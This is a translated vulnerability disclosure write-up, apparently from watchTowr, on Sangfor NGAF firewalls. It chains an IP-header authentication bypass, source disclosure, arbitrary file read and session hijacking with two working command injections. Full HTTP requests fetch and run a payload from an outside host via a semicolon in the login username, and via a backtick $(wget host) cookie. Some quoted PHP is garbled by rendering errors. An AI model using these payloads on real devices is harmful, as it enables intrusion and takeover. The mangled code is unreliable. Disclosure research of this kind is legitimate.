/  

防火墙中的更多未授权远程命令执行漏洞-Sangfor Edition

在深入研究代码和工作流程之前,我们可以从鸟瞰视角使用各种技巧来计算成功的“概率”。这些“概率”将帮助我们决定发现漏洞的可能性有多大,因此我们应该花费多少时间和精力来审计目标。

令许多批评者失望的是,我们在代码库中看到的第一个“线索”是这个被称为“下一代”的设备使用了PHP和C++ CGI二进制文件的混合。我们之前已经看到过自定义的PHP应用程序如何导致安全问题,你只需要看看我们最近对Juniper防火墙的深入研究就知道了 – 但不要只听我们的意见,即使是Sangfor的开发人员对PHP也持有不好的看法,我们完全赞同。

此外,包含这种粗俗语言的代码库本身就是一个“线索” – 开发人员要么没有打算让公众看到这些代码,要么根本不在乎显得不专业 – 在我们看来。

显然,我们的“概率”看起来相当不错。
当服务器端变成客户端时…

除了在应用程序代码库中寻找粗俗语言和注释之外,我们首先对设备进行了一些简单的测试。

当我们对设备有所了解时,我们开始探索可能揭示技术堆栈和架构内部工作方式的有趣行为。

很快,我们就发现了一个“线索”,这让我们对Sangfor NGAF的兴趣大增。

当请求目标服务器的PHP文件时,如果Content-Length头部中存在非数字值,服务器将以HTTP状态413(“内容太大”)进行响应。这并不是什么特别的,但不寻常的是,服务器端源代码(PHP)被转储在响应中(??):

curl –insecure https://:85/index.php -H “content-Length:asdf”

HTTP/1.1 413 Request Entity Too Large
Date: Tue, 03 Oct 2023 10:08:06 GMT
Server:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=iso-8859-1

413 Request Entity Too Large

Request Entity Too Large

The requested resource
/index.php
does not allow request data with GET requests, or the amount of data provided in the request exceeds the capacity limit. require_once(“../class/common/conf/config_inc.php”); if(SANGFOR_LANGUAGE == ‘en.UTF-8’) { require_once(“../conf/lang/eng.utf8.lang.app.php”); }else { require_once(“../conf/lang/chs.utf8.lang.app.php”); }//判断是否存在硬盘 if(@file_exists(“/etc/sinfor/log/diskerror.log”)) { header(“Content-Type:text/html; charset=utf-8”); echo LOG_DISK_ERROR; exit(0); }//对于高端母盘设备ssd+hdd判断hdd是否异常 if(@file_exists(“/etc/sinfor/log/adv_diskerror.log”)) { header(“Content-Type:text/html; charset=utf-8″); echo LOG_DISK_ERROR; exit(0); }require_once(CLASS_COMMON_PATH.”dispatch/CFrontController.php”);$t_objFrontController = new CFrontController(); $t_objFrontController->dispatchRequest(); ?>

几个小时后,盯着屏幕看了很久,我们得出结论,这可能不是故意的(Sangfor不同意)。

作为一个有教养的猜测,我们最有可能看到的是一个整数处理问题,发生在CGI处理程序的某个地方。不幸的是,这种类型的漏洞通常涉及敏感文件(如config.php等),这些文件在升级访问权限的漏洞中非常有用,但这些文件在这种情况下并不存在。

尽管上述行为很有趣,但我们对所达到的混乱程度并不满意 – 但我们确实感到,我们已经证明了这个设备很可能达到了“有趣”的标准。因此,是时候深入研究了。
洗牌和发牌

对于在家里跟随的朋友们,我们迅速枚举了使用命令lsof -nP -i | grep LISTEN从NGAF的本地shell上暴露的服务。简而言之,我们可以看到我们有两个HTTPS服务开放,监听在0.0.0.0上:

端口85/TCP,运行“防火墙报告中心”,以及
端口4433/TCP,运行“管理员登录门户”。

自然地,我们深入研究了端口85/TCP。

在这个服务中找到入口点 – 在位于/etc/apache/conf.new/original/httpd.conf的Apache配置中定义。

当我们试图了解设备暴露的攻击面以及Apache Web服务器配置文件中的具体内容时,我们寻找Location、ScriptAlias和Alias指令。这样做通常会为我们提供一个很好的端点和暴露目录的列表,在这个安全、强化的、由AI驱动的Sangfor设备的情况下,呈现的结果包括一个丰富的可能性列表:

Alias /icons/ “/virus/apache/apache/icons/”
Alias /bbc “/virus/webui/ext/fast_deploy.html”
Alias /manual/ “/virus/apache/apache/htdocs/manual/”
Alias /cgi-bin/ “/virus/webui/cgi-bin/”
Alias /svpn_html/ “/virus/webui/svpn_html/”
Alias /proxy.html “/virus/webui/ext/login.php”
Alias /proxy_cssp.html “/virus/webui/ext/login.php”

然而,尝试访问其中任何一个项目都会被重定向到认证页面 – 在LogInOut.php。

对我们来说,后认证漏洞并不感兴趣 – 我们只对预认证漏洞感兴趣。是时候再次查看Apache配置了。

进一步分析这个配置文件揭示了一个RewriteRule规则,它将所有请求重写到index.php,其中包含几个require和更重要的是 – 对控制器类的调用。

$t_objFrontController->dispatchRequest();

这个控制器类处理我们的应用级路由。它在CFrontController.php中进行了详细的映射,我们可以看到与每个端点相关联的控制器函数:

没有一个直接通过Web界面访问这些函数,而不需要先进行身份验证,所以现在是时候查看调用这些函数的函数了。这就是dispatchRequest()函数。

在查看这个函数的时候,我们立即看到了我们下一个感兴趣的点 – 函数在转发请求之前检查身份验证。

我们可以看到一个IF条件,它将$_SERVER[‘REMOTE_ADDR’](即客户端的IP地址)与127.0.0.1(本地主机)的值进行比较,如果匹配,那么布尔值$t_boolNeedCheck被设置为false,并且绕过了重定向逻辑的其余部分。

这是条件身份验证的最佳实践。

{
$t_objController = tobjController=$this->getControllerInstance();
if($t_objController) {
//是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击
if ($_SERVER[‘REMOTE_ADDR’] === ‘127.0.0.1’)
$t_boolNeedCheck = false;
else
$t_boolNeedCheck = true;
if(isset($t_objController->m_boolNeedCheck))
$t_boolNeedCheck = tboolNeedCheck=$t_objController->m_boolNeedCheck;
//防止跨站攻击
if($this->isAuthUser() && strcmp(KaTeX parse error: Expected 'EOF', got '&' at position 20: …->isAuthUser() &̲& strcmp($_SERVER[‘REMOTE_ADDR’],”127.0.0.2″) != 0 && !isset($_REQUEST[‘scinfo’]) && !isset(KaTeX parse error: Expected 'EOF', got '&' at position 21: …EST[‘scinfo’]) &̲& !isset($_REQUEST[‘sd_t’]) && (!isset($_GET[‘sid’]) || GET[‘sid’])∣∣$_GET[‘sid’] != session_id()) && $t_boolNeedCheck)
{
//要设置t_boolNeedCheck = false,要不会有重定向死循环
CMiscFunc::locationHref(‘/Redirect.php?url=/LogInOut.php’);
exit(0);
}
$t_fStartTime = tfStartTime=$this->costMicroTime();
$t_strResult = tstrResult=$t_objController->action($this->m_objConf, this−>mobjConf,$this->m_arrReturn);
$t_fEndTime = tfEndTime=$this->costMicroTime();
$t_fTotal = tfTotal=$t_fEndTime – $t_fStartTime;CMiscFunc::printMsg($t_fTotal);
return true;
}
CMiscFunc::locationHref(‘/Redirect.php?url=/LogInOut.php’);
return false;
}

作为外部攻击者,我们能否控制PHP看到的IP地址,或者是否存在SSRF类型的漏洞,我们可以利用它们绕过这种强大的安全控制?

在现实世界中,有几个头部可以实现这一点 – 例如X-Forwarded-For和X-Real-Ip HTTP请求头,但实验证明它们没有效果。

再次参考httpd.conf,我们可以看到一个不寻常但可疑的指令 – RPAFheader Y-Forwarded-For。这个指令是从mod_rpaf模块加载的,允许客户端设置他们的“远程”IP地址…很有用。我们认为这可能是预期的功能。

测试请求涉及Y-Forwarded-For: 127.0.0.1,我们发现当进行未经身份验证的请求时,我们不再被重定向到登录页面。

哇哦!我们在潜在的漏洞链中达到了第一阶段,因为这为我们打开了一个“全新的世界” – 所有在Apache配置中定义的Alias。

例如,以前无法访问的/vmp_getinfo现在在我们的掌握之中:


这是一个事后的想法,但我们花了一些时间思考这个设置的实际目的,因为它在代码中没有被使用。也许它在测试期间被使用过,或者在后来的版本中删除了一些最初的目的?我们将这个想法留给你们自己思考,但是你知道,计算机和代码并不是魔法。

再展示一点…

凭借我们的“潜在行为”,我们有了一些有趣的行为,现在是时候出发,看看我们接下来要去哪里了?

回到Apache配置文件,有一个有趣的Alias指令 – /svpn_html/ “/virus/webui/svpn_html/” – 它呈现了一个更大的应用程序代码和功能集合供我们踢。

我们注意到了loadfile.php,它接受一个名为file的参数,解析其路径,读取内容,并将其写入响应。看起来像是一个易于获得的任意文件读取漏洞:


糟糕。我们又一次取得了进展。

只是提醒一下,这是“世界上第一个具有人工智能功能和全面集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),通过Neural-X和Engine Zero等创新技术提供全面的威胁保护”。

虽然看到/etc/passwd总是一张精彩的截图,但我们想知道对我们的读者来说可能产生的最大影响是什么。除了找到明文凭据之外,我们确实发现了一些显示活动的PHPSESSID的文件,所以我们可以劫持会话,有很多可以选择的文件:

/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf

如果你还在寻找以管理员身份轻松获得访问权限的更简单的方法,你可以查看Apache访问日志,并查看通过GET请求传递的Cookie。Bug Triagers对这个“低级”的发现可能会感到困惑,但我们作为管理员却很轻松。

/virus/apache/apache/logs/access_log

编辑注:我们觉得自己在某些国家是非官方的系统管理员(希望有人能理解这个引用)。
转折点

此刻,我们不得不停下来,停下来思考。一个“下一代”应用防火墙怎么会有这样一个容易的、低悬的漏洞呢?这个设备真的安全吗?

对于我们来说,发现这个设备中的远程命令执行漏洞有多么容易,我们感到非常困惑。难道这个设备真的如此创新和下一代,我们正在看到新的东西吗?

好吧,暂时我们愿意接受这一点 – 我们发现远程命令执行的机会增加了,现在是时候全力以赴了。

在进一步审计设备之前,我们发现了一个有趣的文件 – HttpHandler.php,它提供了类似AJAX的功能。它接受两个请求参数,controler和action,并使用它们调用指定的控制器类和公共函数:

{
try
{
$controller=controller=$_REQUEST[“controler”];
$action=action=$_REQUEST[“action”];$this->validPara(this−>validPara($controller, ‘AjaxReq_NoConctroler’);
$this->validPara(this−>validPara($action, ‘AjaxReq_NoAction’);
$controller = controller=$controller.”Controller”;//反射controller类信息
$classInfo = new ReflectionClass(classInfo=newReflectionClass($controller);//创建controller类实例
$instance=instance=$classInfo->newInstance();//反射得到action方法
$methodInfo = methodInfo=$classInfo->getMethod($action);//反射得到action参数表
$parainfos=parainfos=$methodInfo->getParameters();
$paras=array();

例如,如果设备与域连接,我们可以通过/svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3检索配置数据。

Date: Wed, 13 Sep 2023 08:47:12 GMT
Server:X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 303
Connection: close
Content-Type: text/html{“code”:0,”success”:true,”result”:{“devName”:”**redacted**”,”svrDomainName”:””,”logSvrDomain”:””,”domainComputer”:””,”srvDomainAddr”:””,”domainUserName”:””,”domainUserPwd”:””,”enableDomain”:0,”eanbleDomainAuth”:0},”message”:”Operation success”,”readOnlyInfo”:{“enable_ids”:””,”disable_ids”:””,”readonly”:1}}

是的,真的。

总共有20个控制器和一百多个函数需要审计。不幸的是,大多数具有有趣行为的公共函数还会检查“正确的”(即除了“源IP”之外)身份验证,我们再次被重定向到登录页面(这次没有绕过)。

我们找到了一个缺少身份验证检查的“写入”函数,允许我们写入SQLite数据库并为SSL VPN创建新的SSO用户。关于这个的影响,我们将留给你的想象力。

有趣的是,它也容易受到SQL注入的攻击,但由于底层的DBMS是SQLite,这对于RCE的效用有限。

Host:
Y-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr

在审计设备花费了大量时间后,我们得到了:

身份验证绕过
源代码泄露
本地文件读取
添加自己的SSO用户的能力
转储Active Directory配置信息,包括用户名和密码的能力。

但是,我们感到困惑。远程命令执行会逃脱我们吗?这个设备真的安全吗?
与Pspy合作

在这个过程中,我们不得不重新评估我们明显失败的方法。我们需要更多的透明度来理解与系统交互的代码。

对于大多数这样的应用程序,主要的注入类型是命令和SQL。也许我们可以通过在数据库配置中启用Trace日志或grep所有正在进行的操作系统命令来增强这些领域的可见性?

通过查看各种类,我们可以看到开发人员喜欢使用shell_exec、exec和popen来执行shell命令。代码有点难以追踪,所以我们使用pspy来帮助。

Pspy是一个有用的小工具,常常被CTF团队使用,它会在后台记录所有正在生成的进程及其参数 – 对于发现命令注入非常有用,我们怀疑这将是最快到达RCE的路径。

将pspy二进制文件和grep命令放在目标主机上,允许我们查看Apache进程生成的所有进程及其参数:

在再次运行所有控制器和函数之后,我们仍然无法找到任何明显的注入点。在耗尽了这个服务的代码库之后,我们决定休息一下,放弃(哈哈)。

这是一个幸运的例子 – 当以正常方式进行身份验证时,某种神秘的力量推动我们的手指,我们不小心输入了错误的用户名。我们仍然在观察进程的同时,我们的眼睛睁大了,因为我们看到:

正如您在上面的pspy捕获中所看到的,用户名Admi直接传递给了一个shell命令…我们是否可能在登录页面的用户名参数中注入我们自己的命令?

这显然是不可能的…一个普通的扫描器、渗透测试人员或赏金猎人肯定会发现的,对吧?好样的验证码。

在查看文件CFWLogInOutDAO.php时,我们可以找到负责此操作的remoteLogin()函数:

{
$userName = userName=$in_arrSearchCondition [‘user_name’];
$passwd = passwd=$in_arrSearchCondition [‘password’];
//rsa的解密
$t_strMD5 = tstrMD5=$this->decrypt($passwd);
$fp = popen(“/usr/sbin/remoteLogin remoteLogin fp=popen(“/usr/sbin/remoteLoginremoteLogin$userName $t_strMD5”, “r”);
$retResult = fread(retResult=fread($fp, 20);
pclose($fp);
if ($retResult == “retLoginSuccess”) {
$in_arrSearchCondition [‘user_name’] = inarrSearchCondition[‘username’]=$userName.”_remote_”;
$t_strUserName = addslashes(tstrUserName=addslashes($in_arrSearchCondition [‘user_name’]);
$t_strSQL = “SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = ‘tstrSQL=“SELECT∗FROMFWAUTHdcuser.UserAuthInfoWHEREusername=‘$t_strUserName’ AND status = 1 LIMIT 1”;
return $this->setSession(this−>setSession($t_strSQL);
}
return false;
}

具有讽刺意味的是,开发人员在处理之前在用户名上调用了addslashes()函数,但在在popen()函数中使用之前没有进行任何净化。糟糕!

经过一段时间的尝试,我们意识到无法在用户名中注入任意特殊字符,因为由于mod_security的限制,引号、重音符号(甚至逻辑运算符||和&&)都是不允许的。然而,我们注意到可以使用分号截断命令。

作为我们的注意力集中的人,我们希望展示一个神奇的输出,显示从单个HTTP请求到响应的命令执行 – 因此,我们必须变得有创造力。响应详细信息中列出了一个在文件/virus/dcweb/conf/lang/eng.utf8.lang.app.php中声明的静态错误消息。

我们[的新生活目标是编写一个输出到此错误消息的命令。通常情况下(我们喜欢这个词),你会使用某种编码来绕过“ “和mod_security的限制,但是在这个设备上没有base64和xxd可用。为了绕过这个问题,我们采用了以下获胜路径:

在外部的HTTP服务器上托管有效载荷
使用wget获取有效载荷
通过source执行有效载荷 – 我们认为这比.更酷
用$(id)的值替换错误消息的内容

我们得到了这个令人惊叹的截图,展示了所有的一切:

请求:

Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625type=logged&un=watchTowr;wget http://host/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=

Cmd.txt负载:sed -i s/Lock/”$(id)”/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php

响应:

Date: Thu, 05 Oct 2023 07:46:53 GMT
Server:
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate, no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 139
Connection: close
Content-Type: text/html

错误:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)因登录失败次数过多而触发。请在5分钟后再试!

寻找兔子

虽然每个研究人员都梦想找到RCE,但发现这样一个简单的漏洞令人沮丧。人们可能会期望实现RCE需要一个美丽的2或3个漏洞链,使用授权绕过、PHP对象注入和各种其他花招。

你可以想象在这个设备中实现大RCE是多么容易。

只是提醒一下,这是“世界上第一个具有全面保护功能的AI启用和完全集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),由Neural-X和Engine Zero等创新技术提供支持”。

我们决定给这个设备第二次机会-也许一些野外的设备已经将85/TCP端口防火墙关闭,只开放了4433/TCP端口。这将给我们一个机会来构建一个更复杂的攻击路径,获得更多的关注/互联网积分。

在4433端口上,攻击面略有不同,因为原生流通过C++ CGI文件进行身份验证,而不是通过PHP进行身份验证。我们曾考虑过花费我们的晚上在Ghidra分析它,但我们想到也许设计了85/TCP端口上的登录PHP脚本的开发人员也开发了CGI模块,也许…也许…

受到这个想法的启发,我们尝试了带着pspy仍在运行的登录流程。使用相同的原理,我们尝试使用错误的用户名登录…哎呀,又执行了一个略有不同格式的shell命令。很明显,Cookie PHPSESSIONID被用在一个echo命令中写入临时文件。

Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: Application/X-www-Form
Connection: close
Content-Length: 113{“opr”:”login”, “data”:{“user”: “watchTowr” , “pwd”: “watchTowr” , “vericode”: “Y92N” , “privacy_enable”: “0”}}

pspy捕获到的信息:

CMD: UID=65534 PID=31595 | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log

由于值是从Cookie中获取的,我们无法注入分号来截断命令(或对它们进行URL编码)。相反,通过利用允许使用反引号的特性,我们可以创建自己的变量并在括号内评估其内容。不幸的是,这里没有美丽的sed输出可以使用,所以你只能满足于一个超出范围的请求:🙂:

Host:
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close{“opr”:”login”, “data”:{“user”: “watchTowr” , “pwd”: “watchTowr” , “vericode”: “EINW” , “privacy_enable”: “0”}}

Yet More Unauth Remote Command Execution Vulns in Firewalls - Sangfor Edition (watchtowr.com)